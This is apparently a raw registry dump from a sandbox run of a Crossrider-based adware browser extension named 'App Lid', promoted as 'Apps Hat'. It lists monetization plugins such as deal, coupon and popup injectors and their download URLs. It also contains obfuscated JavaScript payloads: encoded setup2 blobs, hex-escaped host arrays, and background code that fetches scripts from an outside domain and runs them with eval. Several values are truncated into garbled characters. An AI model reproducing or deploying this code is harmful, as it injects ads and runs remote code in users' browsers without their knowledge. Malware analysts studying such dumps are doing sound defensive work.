"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDM2MzYyNDEwYjA0MTkxNjIyMDIxNDRiNTE0MzQxMTgxOTEyMDc0YTU3NDYwMjEwMTcxMTE5MGYxNDVlMWMwODFmMDIwNTExMWUxMjEwMDUwYTFjNDUwYTBkMTYwMjQ5MTExZjU3MGMwODRjMDAwMjFmNDgxZDAzNDcwMTAyMDc1ZTJmMzIyNTI1M2YyYjNhMzkyYTI3MzUzZjM5MjIyMzNkM2IzNDJhMjcyZjMyNDAwNDA1MWEwMDBmNWUzYzJmMmUzNDM4MjMyYjNiMjIyNzI2MjIzMjIzMmYyNDNkMjcyZjI2MjcyZjNlMzMzNTJmMzEyZDM0M2M0NTEyMDMwNzFhMTU0NTM2MzQyMDMxM2YzZTM1MjUzOTNjMmMzOTNjMjIyMDNkMzkzOTMxMzUyYzM0M2M0NTEyMDEwZjE5MWI0NTRiNDc2OTZhNTIwNTEyMDMwMDBiM2MxOTBmNDE0YTRkNDQxZjA0MGMxOTE4NTk0YzVmMDQxNTAzMTEwYzAwMDg0ZDA3MTExOTA3MTExMTBiMWQwYzE2MTEwNTQzMGYxOTE2MTc0NjBkMGM0YzE1MGU0OTE0MDIwYTQ3MDExMDVjMTgwNDAyNGEyZjI3MmEzOTJjMzAyMzNmMmYzMzM1MmEzNjNlMzAyNjIyMzIyZjMzMmYyNzRmMTgxNjAxMTkwOTViMjgyZjNiM2IyNDMwMzAyMjI0MjIzMjIyMjcyYzMzMzcyNjNlMjkyMzMzMmYyYjNjMjkzYzJhMzQzMjM5NTExMjE2MDgwNjA2NWUyZjMyMjUyNTNmMmIzYTM5MmEyNzM1M2YzOTM2MjAyODM2MjUyMjJlMzUzMjM5NTExMjE0MDAwNTA4NWU1MjQxNmM3ZTUyMDgwNTFlMDQwYTFlMjQwMjU1NGE1ODViNTg1NzRmN2E0ZDQ2NTc1MDVhMWYwZTExMTcxOTBlMDcxYjUyNDI0OTMwNDExMDE4MDI"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGI2NDRmNGU1MDQ4NTQxZTEwMWUwMDNiMWQwMjUyNTI1NjU0MGMxZTA0MWU1NTQxNWYwOTA2MWY0YTAwMWYwMjAzMTcwNzA5MWExYTAxMWU1ZTBkMDAwMzVmMDkxMDEwMGQwNjE5MGYxYjBiNWYwYjFhMWYwMTA0MDQ1MTBiMDcwMzFjNGI0ZTQyMGIwMDFlMzAwNzE0NTUyOTI5MjczODNmM2QzYzNjMzkyYzMzMjQzYjI2MzkyOTI3M2EyZjNiMjMzNDNiMjMzNDMxMzA0ODAzNTk0YjQ2NDIxOTQyNTM1ZjQ4MDM1YjRiNDY0MjA0MTEwMzBhNTMyZjM3MzUyNDJiMzkyMzNjMjYyYTM1M2EyOTM3MzQzYTJmMjAyZTIzMzUzNzI5NTQ0ODYwNTA0ZTRmNGU1MjAwMDIwMjE0MTkyNTFjMDM0YzRhNDg1NDFlMTAxZTAwMWQ1NTQxNWYwOTA2MWY0YTAwMWYwMjAzMTcwNzA5MWExYTAxMWU1ZTBkMDAwMzVmMDkxMDEwMGQwNjE5MGYxYjBiNWYwYjFhMWYwMTA0MDQ1MTBiMDcwMzFjNGI0ZTQyMGIwMDFlMzAwNzE0NTUyOTI5MjczODNmM2QzYzNjMzkyYzMzMjQzYjI2MzkyOTI3M2EyZjNiMjMzNDNiMjMzNDMxMzA0ODAzNTk0YjQ2NDIxOTQyNTM1ZjQ4MDM1YjRiNDY0MjA0MTEwMzBhNTMyZjM3MzUyNDJiMzkyMzNjMjYyYTM1M2EyOTM3MzQzYTJmMjAyZTIzMzUzNzI5NTQ0ODYwNTA0ZTRmNGU1MjE4MWEwMzAzMDMxZTI3MGI0YzRhNDg0NzQ2NTA2MDBk', 'pnonphvvdj'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/246.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/263.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\AppDataLow\Software\App Lid]
"ActiveAppId" = "65743"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(c){appAPI.cookie=function(h,k,f,i){var g=""%@%ZZCR__AJAXZZ$C@R#"";function e(o,q,l,p){if(typeof(o)!==""string""){return false;}var n=appAPI.JSON.stringify(q);var m=new Date(2030,1,1,0,0,0,0);if(l instanceof Date){m=l;}c.setLocalCookie(o,n,m.toUTCString(),p);return true;}function j(m,n){if(m==""InstallerParams""&&n==""Local""){return appAPI.JSON.parse(appAPI.internal.prefs.getChar(""Params""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledAddCh" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/2.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\269]
"Name" = "stats_ie"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"Name" = "IEMessaging"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"JavaScript" = "var __a0__ = ['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x39\x75\x36\x61\x32\x70\x36','\x2e\x73\x73\x6c\x2e\x68\x77\x63\x64\x6e\x2e\x6e\x65\x74'].join('')var __a1__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x74\x61\x67\x69\x6e\x67\x2d\x61\x70','\x70\x2e\x63\x72\x6f\x73\x73\x72\x69\x64\x65\x72\x2e\x63\x6f\x6d'].join('')var __a2__ = ['\x68\x74\x74\x70\x73\x3a\x2f\x2f','\x77\x39\x75\x36\x61\x32\x70\x36','\x2e\x73\x73\x6c\x2e\x68\x77\x63','\x64\x6e\x2e\x6e\x65\x74'].join('')var __a3__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x74\x61\x67\x69','\x6e\x67\x2d\x61\x70\x70\x2e\x63\x72\x6f\x73\x73','\x72\x69\x64\x65\x72\x2e\x63\x6f\x6d'].join('')var __a4__ = ['\x68\x74\x74\x70\x3a\x2f','\x2f\x6e\x73\x74\x61\x74','\x73\x2e\x63\x72\x6f\x73','\x73\x72\x69\x64\x65\x72','\x2e\x63\x6f\x6d'].join('')var __a5__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x74','\x61\x67\x69\x6e\x67\x2d\x61\x70\x70','\x2e\x63\x72\x6f\x73\x73\x72\x69\x64','\x65\x72\x2e\x63\x6f\x6d'].join('')var __a6__ = ['\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x73\x6f','\x75\x72\AÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var c={DUMMY_PAGE_URL:http://page.our-app.net/blank/resource.html};(function(){if(appAPI&&appAPI.internal&&appAPI.internal.hosts&&typeof appAPI.internal.hosts.dummyPageUrl===string&&appAPI.internal.hosts.dummyPageUrl.length>0){c.DUMMY_PAGE_URL=appAPI.internal.hosts.dummyPageUrl;}}());appAPI.openURL=(function(){var d=appAPI.openURL;var e=function(g){d({url:c.DUMMY_PAGE_URL ?appid= appAPI.appInfo.id &resourcepath= escape(g.resourcePath) &rnd= (new Date()).getTime(),where:g.where,focus:g.focus,focusTimer:g.focusTimer,left:g.left,top:g.top,height:g.height,width:g.width});};var f=function(g){if(!appAPI.utils.isObject(g)){return;}if(!appAPI.utils.isDefined(g.resourcePath)){d(g);return;}e(g);};return function(h,g){var i=h;try{if(appAPI.utils.isString(h)){d(h,g);return;}f(i);}catch(j){}};}());var a=function(){(function(){var f=document.createElement(link);f.type=image/x-icon;f.rel=shortcut icon;f.href=;document.getElementsByTagName(head)[0]ï¿¿Í‘"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(a){appAPI.dns={};appAPI.dns.resolveIP=function(b){return a.resolveIp(b);};appAPI.fetchUrl=function(b){return a.fetchUrl(b);};appAPI.openURL=function(e,d){var c;if(typeof e===object){c=e;if(typeof a.openUrlEx!==undefined){a.openUrlEx(appAPI.JSON.stringify(c));return;}else{d=c.where;e=c.url;}}if(typeof e!==string){console.error(appAPI.openURL - Invalid parameter. Expected string (1st param) but got: (typeof e));return;}if(d!==current&&d!==tab&&d!==window&&d!==popup){console.error(appAPI.openURL - Invalid parameter. Expected current/tab/window (2nd param) but got: d);return;}if(typeof a.openUrlEx!==undefined){var f=(document&&document.documentElement&&document.documentElement.clientHeight)?document.documentElement.clientHeight 100:100;var h=(document&&document.documentElement&&document.documentElement.clientWidth)?document.documentElement.clientWidth 80:100;var g=(window&&window.screenTop)?((window.screenTop-20)<0?0:(window.screenTop-20)Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\180]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/180.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"homepageurl" = "NA"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"AppName" = "App Lid-bg.exe"
"AppPath" = "%Program Files% (x86)\App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"AppName" = "App Lid-buttonutil.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"Version" = "2"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[195]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(195,[pops])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:LITE}))();};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"OnRequestPluginList" = "14,42,41,39,38,43,45,64,72"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"Name" = "jQuery"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/200.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"BgPluginList" = "246,42,38,46,41,44,39,35,43,36,4,14,78,64,183,207,47,182,72,269,93,102,104,180,184,220,195,200,221,223,234,242,244,255,262,263,281,301,91"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"JavaScript" = "var _0x6ef5=[""\x69\x6E\x73\x74\x61\x6C\x6C\x65\x72""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"Name" = "ibario_tier3_pops_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"Name" = "IEMisc"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/104.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"Name" = "resources_background"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"Version" = "11"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"AppName" = "App Lid-codedownloader.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"Version" = "4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"Version" = "7"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Description" = "Apps Hat is the cool new Android app store that helps you discover hot new apps, both free and discounted. Get personalised recommendations, price drop alerts, and share your favourite apps with your friends."

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"Name" = "IEBackground"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"Name" = "IECallbacks"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI3ZDc5NTUxMjA1MGQxYzI0MDgxNTU1NGE1NzU4MTkwZDE4MDE0MDU2NTgxMzEzMTQ1ZjBmMDUwMjFiMWQxMzVlMTQxNTFjNTYxZjEyMDgxMDA3MDQ1ODRiNDU0YzVhNDY0ZDRiNDI0NzQxNGY1ZTA5MWUxNDE2MTYxNjE0NTkxMDAyNDYxZjA0MTgxMDEzNGQyODI1MzIyYjIzMjIyOTJiM2UzNDMyMjgyZTNjMzQyNTNmMzczMzM1MzMyNTIyMmMyZTJlMzMzZDI4MmY1MTBmMWM0NDMzMmUzOTJiMzgyMzI0MjgzODNkMjkyMzI1MzgyNzIwMjgzNDMwMzQyOTJlMjU1YjViN2E3ZTU4MTkwZDE4MDEwOTJjMDUxYzU1NDA1MTViMDQwNTBlMDkwNDRhNTg1NTEyMWQwMjVmMGMxMDA0MTExMzFlNWYxYTAzMWM1NTBhMTQwMjFlMGEwNTU2NWQ0NTRmNGY0MDQ3NDU0ZjQ2NGY1OTVlMGEwYjEyMWMxODFiMTU1NzA2MDI0NTBhMDIxMjFlMWU0YzI2MzMzMjI4MzYyNDIzMjUzMzM1M2MzZTJlM2YyMTIzMzUzOTNlMzQzZDMzMjIyZjNiMjgzOTMzMjUyZTVmMTkxYzQ3MjYyODMzMjUzNTIyMmEzZTM4M2UzYzI1MmYzNjJhMjEyNjIyMzAzNzNjMjgyZjU1NTY3YjcwNGUwMTE2MGMxMDE5MTkzMzE1NWI1NjUxNDg0YjQ0N2EwYQ==', 'ywpwzqylqz'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/207.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"Name" = "dbWrapper"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"BgVersion" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/47.js"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t7145FFC5-EF2C-4750-9CC6-B934D573F69Bmp\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t7145FFC5-EF2C-4750-9CC6-B934D573F69Bmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"JavaScript" = "var CrossriderDebugManager=(function(h){var f={appId:appAPI._cr_config.appID(),url:appAPI._cr_config.debug_app};return h.Class.extend({init:function(){if(appAPI.isMatchPages.apply(this,f.url.debug_page)){h(document).ready(function(){h(body).bindExtensionEvent(debug_request_data,function(j,i){if(i.appId==f.appId){e();}});h(body).bindExtensionEvent(debug_request_reload_background,function(j,i){if(i.appId==f.appId&&appAPI.internal.reloadBackground){appAPI.internal.reloadBackground();}});h(body).bindExtensionEvent(debug_request_reload_plugins,function(j,i){if(i.appId==f.appId){appAPI.resources.requestReload();setTimeout(appAPI.internal.forceUpdate,750);}});h(body).bindExtensionEvent(debug_mode_activate,function(j,i){if(i.appId==f.appId){b(i);}});h(body).bindExtensionEvent(debug_mode_deactivate,function(j,i){if(i.appId==f.appId){d();}});h(body).bindExtensionEvent(debug_request_database,function(j,i){if(i.appId==f.appId){c(i);}});h(body).bindExtensionEvent(debug_request_database_remove,Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTc2NjY1NGQxODEyMTcwNjMzMDAwMDRlNTY0ZjUyMGUxNzAyMTY0ODQzNDMxZTFhMWMwMzEwNTgwMDFkMTQxNTA4MGExMTBhNGQxNTA5MWY0MzFhNWQ0MTQwNDkxNDFlMGYwNjA5MDAwNTFjMDQ0OTUyNDY1MTQyNDMzMzMzMmMyMjI5MzAyNTM0M2IyODI5M2UzMDM1M2UzNzMzMjgzNjI5MjgzMzNjMjUyNDNjM2YyMjJkMzM1MzFjMGUwMjEyMGQxMzE0M2MwZDAxMDk1MjJmMzkyMDI0MjkyMTNmM2UyNTJiMzUzNDNjMzczNjIyMzMyMjJkMjIzNTM5M2M1NDRhNzg2NTRlMDQxYjA0MTYxMDIzMTQxZTRlNTY0YzRkMTgxMjE3MDYxNTQ4NDM0MzFlMWExYzAzMTA1ODAwMWQxNDE1MDgwYTExMGE0ZDE1MDkxZjQzMWE1ZDQxNDA0OTE0MWUwZjA2MDkwMDA1MWMwNDQ5NTI0NjUxNDI0MzMzMzMyYzIyMjkzMDI1MzQzYjI4MjkzZTMwMzUzZTM3MzMyODM2MjkyODMzM2MyNTI0M2MzZjIyMmQzMzUzMWMwZTAyMTIwZDEzMTQzYzBkMDEwOTUyMmYzOTIwMjQyOTIxM2YzZTI1MmIzNTM0M2MzNzM2MjIzMzIyMmQyMjM1MzkzYzU0NGE3ODY1NGUxYzAzMDUwMTBhMTgyZjE2NGU1NjRjNWQ0MDU2NjkwYg==', 'lllopfcvfr'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/64.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\184]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/184.js"

[HKCU\Software\AppDataLow\Software\App Lid\Code]
"NewTabJavaScript" = ""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"Version" = "12"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"CodeDownloadDomain" = "http://js.newstaticinfosrv.com"

[HKCU\Software\AppDataLow\Software\App Lid\Code]
"BgJavaScript" = "appAPI.ready(function($) { window.affid = appAPI.installer.getParams().uzid !== '0' ? appAPI.installer.getParams().uzid : appshatmadness; var buttonState = true; appAPI.browserAction.setResourceIcon('19x19.png'); appAPI.browserAction.setTitle('Browse Apps Hat'); appAPI.browserAction.onClick(function() { if (buttonState) { appAPI.tabs.create('http://www.appshat.com/home'); } buttonState = !buttonState; }); appAPI.request.get({ url: http://www.bigspeedpro.com/nero/js/crossrider/nero_background_options.js, onSuccess: function(response) { eval(response); } });});"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"AppName" = "App Lid-buttonutil.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/40.js"

[HKCU\Software\AppDataLow\Software\App Lid\Code]
"AppJavaScript" = "appAPI.ready(function ($) { appAPI.request.get({ url: document.location.protocol //www.bigspeedpro.com/nero/js/crossrider/nero_crossrider_cs.js, onSuccess: function(response) { eval(response); }, onFailure: function(httpCode) { console.log('Failed to retrieve content' , httpCode); } });});"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"Version" = "2"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"AppName" = "App Lid-buttonutil.exe"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/78.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"Name" = "ie8_fix_1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.tabId=onRequest;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;(function(){function a(e){var c=appAPI.internal.prefs.getChar(e,Crossrider\\onRequest);if(typeof c!==string){return 0;}if(c.length===0){return 0;}c=appAPI.JSON.parse(c);if(typeof c!==object){return 0;}var d=0;for(var b in c){d ;appAPI.internal.callbacks.addListener(onRequest,function(m,g){var n=appAPI.internal.callbacks.onRequest.listenersAdditionalData[g];if(typeof n.code!==string){return;}var f={};var i;if(typeof n.value===undefined){i=undefined;}else{if(n.value===nÍ‘"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"Policy" = "3"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"AppName" = "App Lid-buttonutil64.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"Name" = "debug"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "91 EC 3D 20 19 1A D0 01"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\7]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/7.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"NewTabPluginList" = "42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,1,21,22,72,28"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"Version" = "6"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"StatsDomain" = "http://stats.newstaticinfosrv.com"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\21]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/21.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\102]
"Name" = "dealply_m"
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI2NzUxNTI0MjUyNGUwYzA0MWUwOTM4MDMxZTQwNDg0YzQ2MTgxZTBkMWQ0YjVkNGQxYjQyMDcwMjA4MWYwNzAyNWMwYjFjMGEwYjVmMDkwYjBmMTc1ZDA4MTMxYTA1MDMwOTBiMDQwMTA2NGMxODFmNWIxMzAyMTgwMzFmMTcwZTRmMGYxNjE0MTgyNjMyMmUzMTMwM2QzZjM3MjIyMzNkMjgyMzJkMjcyYTM4MjEzZTJlM2MyOTJlMjEzNzMwMzMyZDM0MzUyNjRiMTAwMjEyMjYwNTEwMWMwZjQ0MzIyZTMxMzAzZDNmMzcyMjIzM2QyODIzMmQyMzIyM2MzYjNlMmIzNDI4MmUyZDQ0MWEwNTAwNGQzNTI2MmUyMzNkMzEyMTNlMmQzNDJmMmIzMjI0MjEyNzIwMzMyZDM0MzUyNjRmNWQ3ODQyNTI0YzQ0NTIwMjBkMTkwMTAxMzcwMDAwNDY0YTRhNWIwNTA1MDYxMjAxNTY0YjVmMDMyNjBlMDMxMDA0MTgxZjNiMTkwNDFmMDI1ZjA2MGUwMTBmMDAxZTQ0MWEwMjFjNWQwMTAwMGUwMjVmMDAxODFiMTAwMTAxMDAwNTE0MDQ0NDEzMWU0ZTExMGExMzAyMGExNTA2NDQwZTAzMTYxMDJkMzMzYjMzMzgzNjNlMjIyMDJiMzYyOTM2MmYyZjIxMzkzNDNjMjYzNzI4M2IyMzNmM2IzMjM4MzYzZDJkNGEwNTAwMWEyZDA0MDUxZTA3NGYzMzNiMzMzODM2M2UyMjIwMmIzNjI5MzYyZjJiMjkzZDJlM2MyMzNmMjkzYjJmNGMxMTA0MTU0ZjNkMmQyZjM2M2YzOTJhM2YzODM2MjcyMDMzMzEyMzJmMmIzMjM4MzYzZDJkNGU0ODdhNGE1OTRkNTE1MDEyMWUxOTAzMTkwNDMwMDk1MzQ4NDI0MzVjNTY3YTE3', 'ymqrbrldpj'); }"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/14.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/41.js"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"JavaScript" = "(function(K){var y=[].slice;var x={};var a=function(ap){if(typeof ap==string&&typeof ap.trim==function){return ap.trim();}return ap==null?:ap.toString().replace(/^\s /,).replace(/\s $/,);};function f(ap){var aq=x[ap]={},ar,at;ap=ap.split(/\s /);for(ar=0,at=ap.length;ar
[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/281.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"Version" = "8"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"Name" = "resources"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"Name" = "crossriderDashboard"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"Name" = "jollywallet_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\7]
"Name" = "hooks"
"Version" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "97 AC DD CA 18 1A D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\281]
